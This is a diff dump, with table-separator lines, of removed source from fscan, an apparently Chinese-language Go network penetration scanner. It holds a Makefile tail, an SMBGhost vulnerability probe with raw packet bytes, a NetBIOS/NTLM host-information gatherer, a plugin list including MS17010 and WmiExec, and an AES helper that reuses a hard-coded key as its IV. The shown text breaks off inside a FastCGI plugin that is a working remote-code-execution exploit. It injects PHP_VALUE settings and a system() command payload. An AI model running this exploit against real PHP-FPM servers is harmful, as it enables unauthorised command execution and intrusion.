echo "$(GREEN)✓ golangci-lint 安装成功$(NC)" && \
|
||||
$(GOLANGCI_LINT) version || \
|
||||
{ echo "$(RED)✗ 安装失败,请手动安装:$(NC)"; \
|
||||
echo " go install github.com/golangci/golangci-lint/cmd/golangci-lint@latest"; \
|
||||
echo "或访问: https://golangci-lint.run/welcome/install/"; \
|
||||
exit 1; }; \
|
||||
else \
|
||||
echo "$(RED)✗ Go 未安装,无法自动安装 golangci-lint$(NC)"; \
|
||||
exit 1; \
|
||||
fi; \
|
||||
fi
|
||||
|
||||
## fmt: 格式化代码
|
||||
fmt:
|
||||
@echo "$(BLUE)格式化代码...$(NC)"
|
||||
$(GO) fmt ./...
|
||||
@echo "$(GREEN)✓ 代码格式化完成$(NC)"
|
||||
|
||||
## vet: 运行 go vet(跳过printf检查)
|
||||
vet:
|
||||
@echo "$(BLUE)运行 go vet...$(NC)"
|
||||
$(GO) vet -printf=false ./...
|
||||
@echo "$(GREEN)✓ go vet 检查通过$(NC)"
|
||||
@@ -1,129 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
)
|
||||
|
||||
const (
|
||||
pkt = "\x00" + // session
|
||||
"\x00\x00\xc0" + // legth
|
||||
|
||||
"\xfeSMB@\x00" + // protocol
|
||||
|
||||
//[MS-SMB2]: SMB2 NEGOTIATE Request
|
||||
//https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5
|
||||
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x00\x00" +
|
||||
"\x1f\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2 NEGOTIATE_CONTEXT
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7
|
||||
|
||||
"$\x00" +
|
||||
"\x08\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00" +
|
||||
"\x7f\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"x\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x00" +
|
||||
"\x00\x00" +
|
||||
"\x02\x02" +
|
||||
"\x10\x02" +
|
||||
"\x22\x02" +
|
||||
"$\x02" +
|
||||
"\x00\x03" +
|
||||
"\x02\x03" +
|
||||
"\x10\x03" +
|
||||
"\x11\x03" +
|
||||
"\x00\x00\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_PREAUTH_INTEGRITY_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5a07bd66-4734-4af8-abcf-5a44ff7ee0e5
|
||||
|
||||
"\x01\x00" +
|
||||
"&\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" +
|
||||
"\x20\x00" +
|
||||
"\x01\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x00\x00" +
|
||||
|
||||
// [MS-SMB2]: SMB2_COMPRESSION_CAPABILITIES
|
||||
// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/78e0c942-ab41-472b-b117-4a95ebe88271
|
||||
|
||||
"\x03\x00" +
|
||||
"\x0e\x00" +
|
||||
"\x00\x00\x00\x00" +
|
||||
"\x01\x00" + //CompressionAlgorithmCount
|
||||
"\x00\x00" +
|
||||
"\x01\x00\x00\x00" +
|
||||
"\x01\x00" + //LZNT1
|
||||
"\x00\x00" +
|
||||
"\x00\x00\x00\x00"
|
||||
)
|
||||
|
||||
func SmbGhost(info *common.HostInfo) error {
|
||||
if common.IsBrute {
|
||||
return nil
|
||||
}
|
||||
err := SmbGhostScan(info)
|
||||
return err
|
||||
}
|
||||
|
||||
func SmbGhostScan(info *common.HostInfo) error {
|
||||
ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second
|
||||
addr := fmt.Sprintf("%s:%v", info.Host, port)
|
||||
conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
|
||||
defer conn.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = conn.Write([]byte(pkt))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
buff := make([]byte, 1024)
|
||||
err = conn.SetReadDeadline(time.Now().Add(timeout))
|
||||
n, err := conn.Read(buff)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if bytes.Contains(buff[:n], []byte("Public")) == true {
|
||||
result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip)
|
||||
common.LogSuccess(result)
|
||||
|
||||
}
|
||||
return err
|
||||
}
|
||||
@@ -1,367 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"gopkg.in/yaml.v3"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var errNetBIOS = errors.New("netbios error")
|
||||
|
||||
func NetBIOS(info *common.HostInfo) error {
|
||||
netbios, _ := NetBIOS1(info)
|
||||
output := netbios.String()
|
||||
if len(output) > 0 {
|
||||
result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output)
|
||||
common.LogSuccess(result)
|
||||
return nil
|
||||
}
|
||||
return errNetBIOS
|
||||
}
|
||||
|
||||
func NetBIOS1(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
netbios, err = GetNbnsname(info)
|
||||
var payload0 []byte
|
||||
if netbios.ServerService != "" || netbios.WorkstationService != "" {
|
||||
ss := netbios.ServerService
|
||||
if ss == "" {
|
||||
ss = netbios.WorkstationService
|
||||
}
|
||||
name := netbiosEncode(ss)
|
||||
payload0 = append(payload0, []byte("\x81\x00\x00D ")...)
|
||||
payload0 = append(payload0, name...)
|
||||
payload0 = append(payload0, []byte("\x00 EOENEBFACACACACACACACACACACACACA\x00")...)
|
||||
}
|
||||
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
|
||||
var conn net.Conn
|
||||
conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
defer conn.Close()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
if info.Ports == "139" && len(payload0) > 0 {
|
||||
_, err1 := conn.Write(payload0)
|
||||
if err1 != nil {
|
||||
return
|
||||
}
|
||||
_, err1 = ReadBytes(conn)
|
||||
if err1 != nil {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
_, err = conn.Write(NegotiateSMBv1Data1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = ReadBytes(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
_, err = conn.Write(NegotiateSMBv1Data2)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var ret []byte
|
||||
ret, err = ReadBytes(conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
netbios2, err := ParseNTLM(ret)
|
||||
JoinNetBios(&netbios, &netbios2)
|
||||
return
|
||||
}
|
||||
|
||||
func GetNbnsname(info *common.HostInfo) (netbios NetBiosInfo, err error) {
|
||||
senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1}
|
||||
//senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01")
|
||||
realhost := fmt.Sprintf("%s:137", info.Host)
|
||||
conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
defer conn.Close()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, err = conn.Write(senddata1)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
text, _ := ReadBytes(conn)
|
||||
netbios, err = ParseNetBios(text)
|
||||
return
|
||||
}
|
||||
|
||||
func bytetoint(text byte) (int, error) {
|
||||
num1 := fmt.Sprintf("%v", text)
|
||||
num, err := strconv.Atoi(num1)
|
||||
return num, err
|
||||
}
|
||||
|
||||
func netbiosEncode(name string) (output []byte) {
|
||||
var names []int
|
||||
src := fmt.Sprintf("%-16s", name)
|
||||
for _, a := range src {
|
||||
char_ord := int(a)
|
||||
high_4_bits := char_ord >> 4
|
||||
low_4_bits := char_ord & 0x0f
|
||||
names = append(names, high_4_bits, low_4_bits)
|
||||
}
|
||||
for _, one := range names {
|
||||
out := (one + 0x41)
|
||||
output = append(output, byte(out))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
var (
|
||||
UNIQUE_NAMES = map[string]string{
|
||||
"\x00": "WorkstationService",
|
||||
"\x03": "Messenger Service",
|
||||
"\x06": "RAS Server Service",
|
||||
"\x1F": "NetDDE Service",
|
||||
"\x20": "ServerService",
|
||||
"\x21": "RAS Client Service",
|
||||
"\xBE": "Network Monitor Agent",
|
||||
"\xBF": "Network Monitor Application",
|
||||
"\x1D": "Master Browser",
|
||||
"\x1B": "Domain Master Browser",
|
||||
}
|
||||
|
||||
GROUP_NAMES = map[string]string{
|
||||
"\x00": "DomainName",
|
||||
"\x1C": "DomainControllers",
|
||||
"\x1E": "Browser Service Elections",
|
||||
}
|
||||
|
||||
NetBIOS_ITEM_TYPE = map[string]string{
|
||||
"\x01\x00": "NetBiosComputerName",
|
||||
"\x02\x00": "NetBiosDomainName",
|
||||
"\x03\x00": "ComputerName",
|
||||
"\x04\x00": "DomainName",
|
||||
"\x05\x00": "DNS tree name",
|
||||
"\x07\x00": "Time stamp",
|
||||
}
|
||||
NegotiateSMBv1Data1 = []byte{
|
||||
0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
|
||||
0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02,
|
||||
0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F,
|
||||
0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
|
||||
0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
|
||||
0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54,
|
||||
0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00,
|
||||
}
|
||||
NegotiateSMBv1Data2 = []byte{
|
||||
0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60,
|
||||
0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30,
|
||||
0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04,
|
||||
0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08,
|
||||
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00,
|
||||
0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00,
|
||||
0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00,
|
||||
0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00,
|
||||
0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00,
|
||||
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00,
|
||||
0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
}
|
||||
)
|
||||
|
||||
type NetBiosInfo struct {
|
||||
GroupName string
|
||||
WorkstationService string `yaml:"WorkstationService"`
|
||||
ServerService string `yaml:"ServerService"`
|
||||
DomainName string `yaml:"DomainName"`
|
||||
DomainControllers string `yaml:"DomainControllers"`
|
||||
ComputerName string `yaml:"ComputerName"`
|
||||
OsVersion string `yaml:"OsVersion"`
|
||||
NetDomainName string `yaml:"NetBiosDomainName"`
|
||||
NetComputerName string `yaml:"NetBiosComputerName"`
|
||||
}
|
||||
|
||||
func (info *NetBiosInfo) String() (output string) {
|
||||
var text string
|
||||
//ComputerName 信息比较全
|
||||
if info.ComputerName != "" {
|
||||
if !strings.Contains(info.ComputerName, ".") && info.GroupName != "" {
|
||||
text = fmt.Sprintf("%s\\%s", info.GroupName, info.ComputerName)
|
||||
} else {
|
||||
text = info.ComputerName
|
||||
}
|
||||
} else {
|
||||
//组信息
|
||||
if info.DomainName != "" {
|
||||
text += info.DomainName
|
||||
text += "\\"
|
||||
} else if info.NetDomainName != "" {
|
||||
text += info.NetDomainName
|
||||
text += "\\"
|
||||
}
|
||||
//机器名
|
||||
if info.ServerService != "" {
|
||||
text += info.ServerService
|
||||
} else if info.WorkstationService != "" {
|
||||
text += info.WorkstationService
|
||||
} else if info.NetComputerName != "" {
|
||||
text += info.NetComputerName
|
||||
}
|
||||
}
|
||||
if text == "" {
|
||||
} else if info.DomainControllers != "" {
|
||||
output = fmt.Sprintf("[+] DC:%-24s", text)
|
||||
} else {
|
||||
output = fmt.Sprintf("%-30s", text)
|
||||
}
|
||||
if info.OsVersion != "" {
|
||||
output += " " + info.OsVersion
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ParseNetBios(input []byte) (netbios NetBiosInfo, err error) {
|
||||
if len(input) < 57 {
|
||||
err = errNetBIOS
|
||||
return
|
||||
}
|
||||
data := input[57:]
|
||||
var num int
|
||||
num, err = bytetoint(input[56:57][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
var msg string
|
||||
for i := 0; i < num; i++ {
|
||||
if len(data) < 18*i+16 {
|
||||
break
|
||||
}
|
||||
name := string(data[18*i : 18*i+15])
|
||||
flag_bit := data[18*i+15 : 18*i+16]
|
||||
if GROUP_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
|
||||
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
|
||||
} else if UNIQUE_NAMES[string(flag_bit)] != "" && string(flag_bit) != "\x00" {
|
||||
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
|
||||
} else if string(flag_bit) == "\x00" || len(data) >= 18*i+18 {
|
||||
name_flags := data[18*i+16 : 18*i+18][0]
|
||||
if name_flags >= 128 {
|
||||
msg += fmt.Sprintf("%s: %s\n", GROUP_NAMES[string(flag_bit)], name)
|
||||
} else {
|
||||
msg += fmt.Sprintf("%s: %s\n", UNIQUE_NAMES[string(flag_bit)], name)
|
||||
}
|
||||
} else {
|
||||
msg += fmt.Sprintf("%s \n", name)
|
||||
}
|
||||
}
|
||||
if len(msg) == 0 {
|
||||
err = errNetBIOS
|
||||
return
|
||||
}
|
||||
err = yaml.Unmarshal([]byte(msg), &netbios)
|
||||
if netbios.DomainName != "" {
|
||||
netbios.GroupName = netbios.DomainName
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ParseNTLM(ret []byte) (netbios NetBiosInfo, err error) {
|
||||
if len(ret) < 47 {
|
||||
err = errNetBIOS
|
||||
return
|
||||
}
|
||||
var num1, num2 int
|
||||
num1, err = bytetoint(ret[43:44][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err = bytetoint(ret[44:45][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
length := num1 + num2*256
|
||||
if len(ret) < 48+length {
|
||||
return
|
||||
}
|
||||
os_version := ret[47+length:]
|
||||
tmp1 := bytes.ReplaceAll(os_version, []byte{0x00, 0x00}, []byte{124})
|
||||
tmp1 = bytes.ReplaceAll(tmp1, []byte{0x00}, []byte{})
|
||||
ostext := string(tmp1[:len(tmp1)-1])
|
||||
ss := strings.Split(ostext, "|")
|
||||
netbios.OsVersion = ss[0]
|
||||
start := bytes.Index(ret, []byte("NTLMSSP"))
|
||||
if len(ret) < start+45 {
|
||||
return
|
||||
}
|
||||
num1, err = bytetoint(ret[start+40 : start+41][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
num2, err = bytetoint(ret[start+41 : start+42][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
length = num1 + num2*256
|
||||
_, err = bytetoint(ret[start+44 : start+45][0])
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
offset, err := bytetoint(ret[start+44 : start+45][0])
|
||||
if err != nil || len(ret) < start+offset+length {
|
||||
return
|
||||
}
|
||||
var msg string
|
||||
index := start + offset
|
||||
for index < start+offset+length {
|
||||
item_type := ret[index : index+2]
|
||||
num1, err = bytetoint(ret[index+2 : index+3][0])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
num2, err = bytetoint(ret[index+3 : index+4][0])
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
item_length := num1 + num2*256
|
||||
item_content := bytes.ReplaceAll(ret[index+4:index+4+item_length], []byte{0x00}, []byte{})
|
||||
index += 4 + item_length
|
||||
if string(item_type) == "\x07\x00" {
|
||||
//Time stamp, 不需要输出
|
||||
} else if NetBIOS_ITEM_TYPE[string(item_type)] != "" {
|
||||
msg += fmt.Sprintf("%s: %s\n", NetBIOS_ITEM_TYPE[string(item_type)], string(item_content))
|
||||
} else if string(item_type) == "\x00\x00" {
|
||||
break
|
||||
}
|
||||
}
|
||||
err = yaml.Unmarshal([]byte(msg), &netbios)
|
||||
return
|
||||
}
|
||||
|
||||
func JoinNetBios(netbios1, netbios2 *NetBiosInfo) *NetBiosInfo {
|
||||
netbios1.ComputerName = netbios2.ComputerName
|
||||
netbios1.NetDomainName = netbios2.NetDomainName
|
||||
netbios1.NetComputerName = netbios2.NetComputerName
|
||||
if netbios2.DomainName != "" {
|
||||
netbios1.DomainName = netbios2.DomainName
|
||||
}
|
||||
netbios1.OsVersion = netbios2.OsVersion
|
||||
return netbios1
|
||||
}
|
||||
-105
@@ -1,105 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
"net"
|
||||
)
|
||||
|
||||
var PluginList = map[string]interface{}{
|
||||
"21": FtpScan,
|
||||
"22": SshScan,
|
||||
"135": Findnet,
|
||||
"139": NetBIOS,
|
||||
"445": SmbScan,
|
||||
"1433": MssqlScan,
|
||||
"1521": OracleScan,
|
||||
"3306": MysqlScan,
|
||||
"3389": RdpScan,
|
||||
"5432": PostgresScan,
|
||||
"6379": RedisScan,
|
||||
"9000": FcgiScan,
|
||||
"11211": MemcachedScan,
|
||||
"27017": MongodbScan,
|
||||
"1000001": MS17010,
|
||||
"1000002": SmbGhost,
|
||||
"1000003": WebTitle,
|
||||
"1000004": SmbScan2,
|
||||
"1000005": WmiExec,
|
||||
}
|
||||
|
||||
func ReadBytes(conn net.Conn) (result []byte, err error) {
|
||||
size := 4096
|
||||
buf := make([]byte, size)
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
result = append(result, buf[0:count]...)
|
||||
if count < size {
|
||||
break
|
||||
}
|
||||
}
|
||||
if len(result) > 0 {
|
||||
err = nil
|
||||
}
|
||||
return result, err
|
||||
}
|
||||
|
||||
var key = "0123456789abcdef"
|
||||
|
||||
func AesEncrypt(orig string, key string) string {
|
||||
// 转成字节数组
|
||||
origData := []byte(orig)
|
||||
k := []byte(key)
|
||||
// 分组秘钥
|
||||
// NewCipher该函数限制了输入k的长度必须为16, 24或者32
|
||||
block, _ := aes.NewCipher(k)
|
||||
// 获取秘钥块的长度
|
||||
blockSize := block.BlockSize()
|
||||
// 补全码
|
||||
origData = PKCS7Padding(origData, blockSize)
|
||||
// 加密模式
|
||||
blockMode := cipher.NewCBCEncrypter(block, k[:blockSize])
|
||||
// 创建数组
|
||||
cryted := make([]byte, len(origData))
|
||||
// 加密
|
||||
blockMode.CryptBlocks(cryted, origData)
|
||||
return base64.StdEncoding.EncodeToString(cryted)
|
||||
}
|
||||
func AesDecrypt(cryted string, key string) string {
|
||||
// 转成字节数组
|
||||
crytedByte, _ := base64.StdEncoding.DecodeString(cryted)
|
||||
k := []byte(key)
|
||||
// 分组秘钥
|
||||
block, _ := aes.NewCipher(k)
|
||||
// 获取秘钥块的长度
|
||||
blockSize := block.BlockSize()
|
||||
// 加密模式
|
||||
blockMode := cipher.NewCBCDecrypter(block, k[:blockSize])
|
||||
// 创建数组
|
||||
orig := make([]byte, len(crytedByte))
|
||||
// 解密
|
||||
blockMode.CryptBlocks(orig, crytedByte)
|
||||
// 去补全码
|
||||
orig = PKCS7UnPadding(orig)
|
||||
return string(orig)
|
||||
}
|
||||
|
||||
// 补码
|
||||
// AES加密数据块分组长度必须为128bit(byte[16]),密钥长度可以是128bit(byte[16])、192bit(byte[24])、256bit(byte[32])中的任意一个。
|
||||
func PKCS7Padding(ciphertext []byte, blocksize int) []byte {
|
||||
padding := blocksize - len(ciphertext)%blocksize
|
||||
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
|
||||
return append(ciphertext, padtext...)
|
||||
}
|
||||
|
||||
// 去码
|
||||
func PKCS7UnPadding(origData []byte) []byte {
|
||||
length := len(origData)
|
||||
unpadding := int(origData[length-1])
|
||||
return origData[:(length - unpadding)]
|
||||
}
|
||||
@@ -1,372 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"io"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
//links
|
||||
//https://xz.aliyun.com/t/9544
|
||||
//https://github.com/wofeiwo/webcgi-exploits
|
||||
|
||||
func FcgiScan(info *common.HostInfo) {
|
||||
if common.IsBrute {
|
||||
return
|
||||
}
|
||||
url := "/etc/issue"
|
||||
if common.Path != "" {
|
||||
url = common.Path
|
||||
}
|
||||
addr := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
var reqParams string
|
||||
var cutLine = "-----ASDGTasdkk361363s-----\n"
|
||||
switch {
|
||||
case common.Command == "read":
|
||||
reqParams = ""
|
||||
case common.Command != "":
|
||||
reqParams = "<?php system('" + common.Command + "');die('" + cutLine + "');?>"
|
||||
default:
|
||||
reqParams = "<?php system('whoami');die('" + cutLine + "');?>"
|
||||
}
|
||||
|
||||
env := make(map[string]string)
|
||||
|
||||
env["SCRIPT_FILENAME"] = url
|
||||
env["DOCUMENT_ROOT"] = "/"
|
||||
env["SERVER_SOFTWARE"] = "go / fcgiclient "
|
||||
env["REMOTE_ADDR"] = "127.0.0.1"
|
||||
env["SERVER_PROTOCOL"] = "HTTP/1.1"
|
||||
|
||||
if len(reqParams) != 0 {
|
||||
env["CONTENT_LENGTH"] = strconv.Itoa(len(reqParams))
|
||||
env["REQUEST_METHOD"] = "POST"
|
||||
env["PHP_VALUE"] = "allow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input"
|
||||
} else {
|
||||
env["REQUEST_METHOD"] = "GET"
|
||||
}
|
||||
|
||||
fcgi, err := New(addr, common.Timeout)
|
||||
defer func() {
|
||||
if fcgi.rwc != nil {
|
||||
fcgi.rwc.Close()
|
||||
}
|
||||
}()
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
return
|
||||
}
|
||||
|
||||
stdout, stderr, err := fcgi.Request(env, reqParams)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] fcgi %v:%v %v", info.Host, info.Ports, err)
|
||||
common.LogError(errlog)
|
||||
return
|
||||
}
|
||||
|
||||
//1
|
||||
//Content-type: text/html
|
||||
//
|
||||
//uid=1001(www) gid=1001(www) groups=1001(www)
|
||||
|
||||
//2
|
||||
//Status: 404 Not Found
|
||||
//Content-type: text/html
|
||||
//
|
||||
//File not found.
|
||||
//Primary script unknown
|
||||
|
||||
//3
|
||||
//Status: 403 Forbidden
|
||||
//Content-type: text/html
|
||||
//
|
||||
//Access denied.
|
||||
//Access to the script '/etc/passwd' has been denied (see security.limit_extensions)
|
||||
var result string
|
||||
var output = string(stdout)
|
||||
if strings.Contains(output, cutLine) { //命令成功回显
|
||||
output = strings.SplitN(output, cutLine, 2)[0]
|
||||
if len(stderr) > 0 {
|
||||
result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
} else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") {
|
||||
if len(stderr) > 0 {
|
||||
result = fmt.Sprintf("[+] FCGI %v:%v \n%vstderr:%v\nplesa try other path,as -path /www/wwwroot/index.php", info.Host, info.Ports, output, string(stderr))
|
||||
} else {
|
||||
result = fmt.Sprintf("[+] FCGI %v:%v \n%v", info.Host, info.Ports, output)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
|
||||
// for padding so we don't have to allocate all the time
|
||||
// not synchronized because we don't care what the contents are
|
||||
var pad [maxPad]byte
|
||||
|
||||
const (
|
||||
FCGI_BEGIN_REQUEST uint8 = iota + 1
|
||||
FCGI_ABORT_REQUEST
|
||||
FCGI_END_REQUEST
|
||||
FCGI_PARAMS
|
